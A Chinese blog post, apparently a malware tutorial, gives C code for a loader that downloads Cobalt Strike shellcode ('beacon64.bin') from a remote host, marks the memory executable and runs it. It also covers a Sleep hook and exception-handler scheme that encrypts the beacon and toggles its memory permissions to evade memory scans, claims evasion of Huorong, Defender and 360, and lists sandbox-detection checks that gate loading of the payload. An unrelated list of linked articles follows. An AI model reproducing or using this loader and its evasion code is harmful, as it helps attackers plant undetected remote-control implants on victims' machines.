    memset(recvbuf, 0, DEFAULT_BUFLEN);
    int iResult;
    int recvbuflen = DEFAULT_BUFLEN;


    // Initialize Winsock
    iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
    if (iResult != 0) {
        printf("WSAStartup failed with error: %d\n", iResult);
        return 0;
    }

    ZeroMemory(&hints, sizeof(hints));
    hints.ai_family = PF_INET;
    hints.ai_socktype = SOCK_STREAM;
    hints.ai_protocol = IPPROTO_TCP;

    // Resolve the server address and port
    iResult = getaddrinfo(host, port, &hints, &result);
    if (iResult != 0) {
        printf("getaddrinfo failed with error: %d\n", iResult);
        WSACleanup();
        return 0;
    }

    // Attempt to connect to an address until one succeeds
    for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {

        // Create a SOCKET for connecting to server
        ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype,
            ptr->ai_protocol);
        if (ConnectSocket == INVALID_SOCKET) {
            printf("socket failed with error: %ld\n", WSAGetLastError());
            WSACleanup();
            return 0;
        }

        // Connect to server.
        printf("[+] Connect to %s:%s", host, port);
        iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
        if (iResult == SOCKET_ERROR) {
            closesocket(ConnectSocket);
            ConnectSocket = INVALID_SOCKET;
            continue;
        }
        break;
    }

    freeaddrinfo(result);

    if (ConnectSocket == INVALID_SOCKET) {
        printf("Unable to connect to server!\n");
        WSACleanup();
        return 0;
    }

    // Send an initial buffer
    iResult = send(ConnectSocket, sendbuf, (int)strlen(sendbuf), 0);
    if (iResult == SOCKET_ERROR) {
        printf("send failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }

    printf("\n[+] Sent %ld Bytes\n", iResult);

    // shutdown the connection since no more data will be sent
    iResult = shutdown(ConnectSocket, SD_SEND);
    if (iResult == SOCKET_ERROR) {
        printf("shutdown failed with error: %d\n", WSAGetLastError());
        closesocket(ConnectSocket);
        WSACleanup();
        return 0;
    }


    memset(recvbuf_ptr,0,400000);
    DWORD total_received = 0;
    // Receive until the peer closes the connection
    do {

        iResult = recv(ConnectSocket, (char*)recvbuf, recvbuflen, 0);
        if (iResult > 0)
        {
            printf("[+] Received %d Bytes\n", iResult);
            memcpy(recvbuf_ptr, recvbuf, iResult);
            recvbuf_ptr += iResult; // 将指针移动到接收到的数据的末尾
            total_received += iResult; // 更新接收到的总字节数
            printf("[+] Received total %d Bytes\n", total_received);
        }

        else if (iResult == 0)
            printf("[+] Connection closed\n");
        else
            printf("recv failed with error: %d\n", WSAGetLastError());


        //RunShellcode(recvbuf, recvbuflen);

    } while (iResult > 0);


    // cleanup
    closesocket(ConnectSocket);
    WSACleanup();

    return total_received;
}



int main(int argc, char** argv) {

    // Validate the parameters
   /* if (argc != 4) {
        printf("[+] Usage: %s <RemoteIP> <RemotePort> <Resource>\n", argv[0]);
        return 1;
    }*/

    char* recvbuf_ptr = (char*)malloc(400000);
    char* ip = "";
    char* RemotePort = "5003";
    char* Resource = "beacon64.bin";

    hEvent = CreateEvent(NULL, TRUE, false, NULL);

    PVOID temp = AddVectoredExceptionHandler(1, &FirstVectExcepHandler);
    if (temp == NULL)
    {
        printf("AddVectoredExceptionHandler调用失败");
        getchar();
        return 0;
    }
    Hook();
    HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);
    CloseHandle(hThread1);

    //getShellcode_Run(argv[1], argv[2], argv[3]);
   int recvbuf_size = getShellcode_Run(ip, RemotePort, Resource, recvbuf_ptr);

   shellcode_addr = VirtualAlloc(NULL, recvbuf_size, MEM_COMMIT, PAGE_READWRITE);
   memcpy(shellcode_addr, recvbuf_ptr, recvbuf_size);
   VirtualProtect(shellcode_addr, recvbuf_size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);

   ((void(*)())shellcode_addr)();


    return 0;

}

cs上线后调用sleep函数触发事件hEvent,修改内存为rw属性并睡眠,睡眠完执行shellcode发现内存异常,触发我们添加的异常函数把内存修改为rwx,执行完命令后cs继续sleep,sleep60秒内又触发事件hEvent,内存又变成rw,这样循环。

效果

还是一个非常有效的方法,火绒动静态免杀,defender静态免杀,360动静态免杀。

内存权限的波动修改

跟之前的异常处理的思路本质是一样的,都是让内存权限在可执行和不可执行之间反复横跳。

void HookSleep()
{
    DetourRestoreAfterWith();
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourAttach((void**)&OldSleep, MySleep);
    DetourTransactionCommit();
}
// 脱钩
void UnHookSleep()
{
    DetourTransactionBegin();
    DetourUpdateThread(GetCurrentThread());
    DetourDetach((void**)&OldSleep, MySleep);
    DetourTransactionCommit();
}
VOID WINAPI MySleep(DWORD dwMilliseconds)
{
    UnHookSleep();

    if (!memoryInfo.isScanMemory)
        ScanMemoryMap();

    printf("XOR32 key: %X\n", memoryInfo.key);
    EncryptDecrypt();

    printf("===> MySleep(%d)\n\n", dwMilliseconds);
    Sleep(dwMilliseconds);

    EncryptDecrypt();
    HookSleep();
}
  • 先脱钩UnHookSleep();,为了让后面的Sleep(dwMilliseconds);执行睡眠;
  • ScanMemoryMap();为了定位本进程内rwx属性的内存位置,也就是我们beacon的内存位置
  • EncryptDecrypt();先把这块beacon的内存区域加密并且修改为rw,可以使用任何加密
  • Sleep(dwMilliseconds);接着加密后beacon内存进入sleep,这时候便可以躲避内存扫描
  • EncryptDecrypt();在sleep结束后解密并且把执行权限修改为rwx,并执行我们的cs操作
  • HookSleep();最后把sleephook回去,在cs执行完命令后再次sleep又会重复以上循环

反沙箱

沙箱脱壳技术

沙箱脱壳技术是通过虚拟机动态脱壳的方式来处理的。一般对于公开壳,用沙箱脱壳基本上都是会被杀的。

杀软沙箱的运行过程:

  • 文件提交:用户或系统将可疑文件提交给杀软沙箱进行分析
  • 环境隔离:杀软沙箱会在一个受控的环境中运行可疑文件,通常是在虚拟机或容器内。
  • 动态行为分析:在沙箱环境中,可疑文件会被执行或打开,以触发其潜在的恶意行为,在这个过程中,会检测是否有病毒、恶意软件、木马或其他恶意活动的迹象。
  • 恶意行为检测:对监控的行为进行分析
  • 报告生成:生成分析报告,包括文件的行为日志、检测结果和风险评估等。

检测沙箱

  • 检测开机时间:很多沙箱检测完会进行重启,判断开机时间是否大于1小时
  • 检测物理内存:现如今很多PC机器都4GB以上的机器,判断内存是否小于4G
  • 检测CPU核心数:很多沙箱和虚拟机的核心CPU为2GB,而PC的为4,判断是否小于4
  • 检测参数:代入参数才能运行程序,判断是否有参数
  • 检测文件名:很多沙箱都要修改文件名,判断文件名是否被修改
  • 检测磁盘容量大小:沙箱一般都很小,判断磁盘是否大于80G
  • 检测是否有虚拟机的进程

传参检测

#include <iostream>

int main(int argc, char* argv[]) {
    if (argc >= 3) {
        if (atoi(argv[1]) + atoi(argv[2]) == 12 && atoi(argv[1]) * atoi(argv[2]) == 35) {
            LoadShellCode();
        }
    }
}

只有当命令行参数满足特定条件(和为12且积为35)时,才会调用LoadShellcode函数。

文件检测

#include <windows.h>

// 检测文件是否存在
BOOL isFileExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath); 
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && !(dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

// 检测文件夹是否存在
BOOL isDirExists(wchar_t* szPath) {
    DWORD dwAtrribt = GetFileAttributes(szPath);
    return (dwAtrribt != INVALID_FILE_ATTRIBUTES) && (dwAtrribt & FILE_ATTRIBUTE_DIRECTORY);
}

int main() {
    if (isFileExists(_wcsdup(L"1.txt")) && isDirExists(_wcsdup(L"1"))) {
        LoadShellcode();
    }
}

睡眠时间准测检测

之前是可以通过延时执行绕过沙箱检测的,因为沙箱不可能一直等待一个进程执行,所以可以把进程堵塞一段时间等沙箱分析完再把shellcode运行。但是现在沙箱使用加速,这种延时执行大部分就行不通了。

不过,可以检测睡眠时间是否对应从而确认是否存在沙箱。

#include <iostream>
#include <chrono>
#include <thread>

bool timeSleep() {
    // 记录起始时间点
    auto start = std::chrono::steady_clock::now();

    // 休眠 10 秒钟
    std::this_thread::sleep_for(std::chrono::seconds(10));

    // 计算经过的时间
    auto end = std::chrono::steady_clock::now() - start;

    // 检查是否至少休眠了 10 秒钟
    if (end >= std::chrono::seconds(10)) {
        return true;
    } else {
        return false;
    }
}

后言

总结下来,还是不够深刻的,希望能够在实践中更加认识。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/783525.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【鸿蒙学习笔记】页面布局

官方文档&#xff1a;布局概述 常见页面结构图 布局元素的组成 线性布局&#xff08;Row、Column&#xff09; 了解思路即可&#xff0c;更多样例去看官方文档 Entry Component struct PracExample {build() {Column() {Column({ space: 20 }) {Text(space: 20).fontSize(15)…

10岁女孩儿童编程规划

目录 1. 背景2. 为什么让她学儿童编程&#xff1f;3. 学习方法&目标4. 整体规划4.1 Python 入门与基础4.1.1 目标4.1.2 学习内容 4.2 C 入门与基础4.2.1 目标4.2.2 学习内容 4.3 算法进阶4.3.1 目标4.3.2 学习内容 4.4 高级编程4.4.1 目标4.4.2 学习内容 4.5 参与编程赛事4…

Java套红:指定位置合并文档-NiceXWPFDocument

需求&#xff1a;做个公文系统&#xff0c;需要将正文文档在某个节点点击套红按钮&#xff0c;实现文档套红 试了很多方法&#xff0c;大多数网上能查到但是实际代码不能找到关键方法&#xff0c;可能是跟包的版本有关系&#xff0c;下面记录能用的这个。 一&#xff1a;添加依…

深入源码,探究#、$号替换符的区别

在Mybatis的日常使用过程中以及在一些技术论坛上我们都能常常听到&#xff0c;不要使用$符号来进行SQL的编写&#xff0c;要使用#符号&#xff0c;否则会有SQL注入的风险。那么&#xff0c;为什么在使用$符号时会有注入的风险呢&#xff0c;以及#号为什么不会有风险呢&#xff…

spark任务,使用 repartition 对数据进行了重新分区,但任务输入数据大小仍存在不均衡

目录 目录 确认 Spark 任务重新分区后的数据不均衡 1. 检查分区大小 2. 使用 DataFrame API 检查分区 3. 使用 Spark UI 查看分区情况 4. 使用日志记录分区信息 可能原因 1. 数据分布不均衡 2. 分区策略 3. 数据预处理 解决方案 1. 检查数据分布 2. 使用 coalesce…

Java反射与Fastjson的危险反序列化

什么是Java反射&#xff1f; 在前文中&#xff0c;我们有一行代码 Computer macBookPro JSON.parseObject(preReceive,Computer.class); 这行代码是什么意思呢&#xff1f;看起来好像就是我们声明了一个名为 macBookPro 的 Computer 类&#xff0c;它由 fastjson 的 parseObje…

工程仪器振弦采集仪的设计与研发进展

工程仪器振弦采集仪的设计与研发进展 工程仪器振弦采集仪是一种用于测量和记录物体振动参数的仪器。它能够实时采集物体的振动信号&#xff0c;并通过内部的传感器将振动信号转化为电信号&#xff0c;然后进行信号放大和处理&#xff0c;最终以数字形式显示或存储。 河北稳控科…

2024图纸加密软件TOP8排行丨企业保护数据安全最佳选择

图纸往往包含了设计人员的创意和智慧&#xff0c;是企业的重要资产。加密可以防止未经授权的复制、分发或使用&#xff0c;保护设计的原创性和独特性不被侵犯。 许多图纸可能含有公司的商业秘密&#xff0c;比如特定的技术参数、生产流程或是产品设计等。这些信息若泄露给竞争…

股票数据分析(K线图、均值图、MACD图、RSI图)--股票日数据

数据 数据是上证指数日行情数据&#xff0c;股票代码000002.sz&#xff0c;原始数据shdata示例如下&#xff1a; 读取数据&#xff1a; import numpy as np import pandas as pd import mplfinance as mpf import matplotlib.pyplot as plt from datetime import datetime imp…

JVM原理(二十):JVM虚拟机内存的三特性详解

1. 原子性、可进行、有序性 1.1. 原子性 Java内存模型围绕着在并发过程中如何处理原子性、可见性和有序性这三个特征来建立的。 Java内存模型来直接保证的原子性变量操作包括read、load、assign、use、store和write这六个。我们大致可以认为&#xff0c;基本数据类型的访问、…

vllm技术分享

vLLM Question&#xff1a; 推理所生成的序列长度大小是无法事先预知的&#xff0c;大部分框架会按照(batch_size, max_seq_len)这样的固定尺寸&#xff0c;在gpu显存上预先为一条请求开辟一块连续的矩形存储空间。这样的分配方法很容易引起“gpu显存利用不足”的问题&#xff…

ICE启动AI:人工智能高频交易平台测试进入尾段

Intercontinental Exchange, Inc.(ICE)宣布,其革命性AI高频交易平台ICE.AI已经完成搭建,目前已全面进入测试最终阶段,该平台利用先进的人工智能技术,主旨在提升交易效率和市场分析的精确度,即将为全球交易者带来前所未有的交易体验。 性能验证: ICE.AI平台在测试阶段主要进行性…

【QT中堆栈布局的实现】

学习分享 1、环境设置&#xff0c;头文件2、.h文件2.1、主界面.h文件2.2、对话界面1.h文件2.3、对话界面2.h文件 3、.cpp文件3.1、对话界面1.cpp3.2、对话界面2.cpp3.3、主界面.cpp3.4、main.cpp 1、环境设置&#xff0c;头文件 该示例使用C14实现&#xff0c;因此在QT项目pro文…

【银河麒麟】系统内存使用异常现象分析及建议

1.现象描述 问题机器系统内存占用长时间90%以上&#xff0c;同时伴随着高iowait&#xff0c;在故障时无法ssh登录&#xff0c;同时也影响生产业务。但之后系统内存占用会突然掉下来&#xff0c;在内存自己掉下来后能ssh登录。 2.显示分析 2.1 sa日志分析 查看问题机器3月15日…

什么是企业服务总线?它包含哪些技术组件?

我们每个人都会去医院&#xff0c;您描述下我们去医院的场景&#xff0c;然后引出这个挂号流程&#xff0c;通过挂号流程中的一个问题或者什么东西来吸引他的好奇心&#xff0c;这样呢&#xff1f;会比现在的预设场景好一些。我举个例子&#xff0c;人工智能怎么帮人看病。如果…

关于put提交不了参数的解决办法

html中form表单只支持GET与POST请求&#xff0c;而DELETE、PUT等method并不支持&#xff0c; 如图所示 参数请求改成RequestBody&#xff0c;用json格式传参即可解决问题

AI直播手机APP震撼发布!3大场景直播,60秒一键开播!

无需繁琐准备&#xff0c;无需复杂操作&#xff0c;60 秒在抖音及其他平台一键开播&#xff0c;青否数字人AI直播APP正式发布&#xff01; 3大AI直播类型&#xff0c;6大核心 AIGC 技术&#xff0c;让新手小白也能轻松搞定数字人在全平台直播&#xff0c;并且有效规避违规风险&…

数据跨境法案:美国篇上

近年来随着全球数字化的加速发展&#xff0c;数据已成为国家竞争力的重要基石。在这样的背景下&#xff0c;中国软件和技术出海的场景日益丰富。本系列邀请到在跨境数据方面的研究人员针对海外的数据跨境政策进行解读。 本期将针对美国对数据跨境流动的态度和政策进行阐释。过…

代码随想录算法训练营Day62|冗余连接、冗余连接II

冗余连接 108. 冗余连接 (kamacoder.com) 考虑使用并查集&#xff0c;逐次将s、t加入并查集中&#xff0c;当发现并查集中find(u)和find(v)相同时&#xff0c;输出u和v&#xff0c;表示删除的边即可。 #include <iostream> #include <vector> using namespace s…

游戏开黑语音-使用云服务器部署teamspeak服务(系统Ubuntu 20.04 LTS)

目录 前置物品服务器调整及部署1.重装系统2.换源3.下载teamspeak服务端并部署 连接服务器参考 前置物品 一台云服务器&#xff08;系统&#xff1a;Ubuntu 20.04 LTS) 服务器调整及部署 1.重装系统 在腾讯云官网的主机控制台内&#xff0c;选择重装系统 (由于之前为了快速和…